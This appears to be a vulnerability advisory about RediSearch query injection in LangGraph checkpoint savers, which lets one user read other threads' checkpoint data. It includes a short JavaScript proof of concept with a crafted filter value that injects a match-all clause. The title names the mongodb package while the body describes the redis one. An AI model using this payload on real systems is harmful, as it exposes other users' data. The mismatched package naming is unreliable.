Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') Affecting @langchain/langgraph-checkpoint-mongodb package, versions <1.1.7

@langchain/langgraph-checkpoint-mongodb is a LangGraph

Affected versions of this package are vulnerable to Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') via the list method in the RedisSaver and ShallowRedisSaver classes when user-controlled input is directly interpolated into RediSearch queries without proper escaping. An attacker can access sensitive data from other threads by injecting special RediSearch syntax into filter parameters to bypass thread isolation and retrieve unauthorized checkpoint data.

import { RedisSaver } from "@langchain/langgraph-checkpoint-redis";

const saver = new RedisSaver({ /* redis config */ });

// Normal usage - should only see thread "user-123-thread"
const legitHistory = saver.list({
  configurable: { thread_id: "user-123-thread" }
}, {
  filter: { source: "loop" }
});

// Attacker crafts malicious filter value
const attackerFilter = {
  source: "x}) | (@thread_id:{*"  // Injects OR clause matching ALL threads
};

// This produces a query like:
// (@thread_id:{user-123-thread}) (@source:{x}) | (@thread_id:{*})
// Due to precedence, this matches ALL threads!

const stolenHistory = saver.list({
  configurable: { thread_id: "user-123-thread" }
}, {
  filter: attackerFilter
});

// stolenHistory now contains checkpoints from ALL threads - DATA LEAKED!

• GitHub Commit
• GitHub PR
• GitHub Release